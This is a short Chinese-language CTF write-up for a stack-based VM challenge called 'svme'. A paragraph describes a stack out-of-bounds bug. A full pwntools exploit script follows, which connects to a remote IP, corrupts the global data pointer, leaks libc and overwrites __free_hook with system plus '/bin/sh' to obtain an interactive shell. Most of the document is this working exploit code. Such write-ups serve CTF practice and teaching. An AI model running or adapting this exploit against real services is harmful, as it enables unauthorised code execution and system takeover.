程序为一个简易的虚拟机,在Github上可以找到作者的源码,程序也没有去除符号。这个虚拟机更接近一个栈机器,它没有实现任何通用寄存器,而是使用栈进程数据保存和参数传递。
我找到的bug是栈越界。栈指针可以越界到code数据结构和全局数据结构,这样就可以改写其全局数据指针。另外,其调用栈是直接申请在上下文结构中的,这里同样可以越界。通过load和store指令不断的写内存,将全局数据指针覆盖为code指针,code是从存放在程序的栈中的,可以从中得到libc指针。通过计算覆盖指针为free_hook,然后写free_hook为system,在free_hook-8写“/bin/sh”。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
|
from pwn import *
def leak(name, addr): return log.success(
'{0}\t--->\t{1}'.format(name, hex(addr)))
binary = './svme'
# binary = './svme'
libc = './libc-2.31.so'
context.terminal = ['tmux', 'splitw', '-h']
context.binary = binary
context.log_level = 'debug'
# p = process(binary)
p = remote('47.243.140.252', 1337)
elf = ELF(binary, checksec=False)
libc = ELF(libc, checksec=False)
def noop():
return p32(0)
def iadd():
return p32(1)
def isub():
return p32(2)
def imul():
return p32(3)
def ilt():
return p32(4)
def ieq():
return p32(5)
def br(addr):
return p32(6)+p32(addr)
def brt(addr):
return p32(7)+p32(addr)
def brf(addr):
return p32(8)+p32(addr)
def iconst(data):
return p32(9)+p32(data)
def load(offset):
return p32(10)+p32(offset)
def gload(offset):
return p32(11)+p32(offset)
def store(offset):
return p32(12)+p32(offset)
def gstore(offset):
return p32(13)+p32(offset)
def print_():
return p32(14)
def pop():
return p32(15)
def ret():
return p32(17)
def halt():
return p32(18)
# gdb.attach(p, "b vm_exec")
cmd = ''
cmd += gload(0xfffff7c0)+gload(0xfffff7c1) # save code pointer
cmd += print_()*5 # sp to *global
cmd += load(0xfffffc22) + load(0xfffffc23) # over write global
cmd += iconst(0) # recover sp value
cmd += gload(0x86) + iconst(0x1c7a75-8) + iadd() # save libc pointer
cmd += gload(0x87) # save libc pointer
cmd += print_()*5
cmd += load(0xfffffc22) + load(0xfffffc23) # over write global to free_hook-8
cmd += iconst(0) # recover sp value
cmd += load(0xfffffc22) + iconst(0x199710) + \
isub() + load(0xfffffc22-2) # calc system addr
cmd += gstore(3) + gstore(2) # overwrite free_hook
cmd += iconst(0x6e69622f) + gstore(0) # /bin/sh
cmd += iconst(0x0068732f) + gstore(1)
cmd += halt() # pwn!
p.send(cmd.ljust(0x128*4, '\x00'))
p.interactive()
|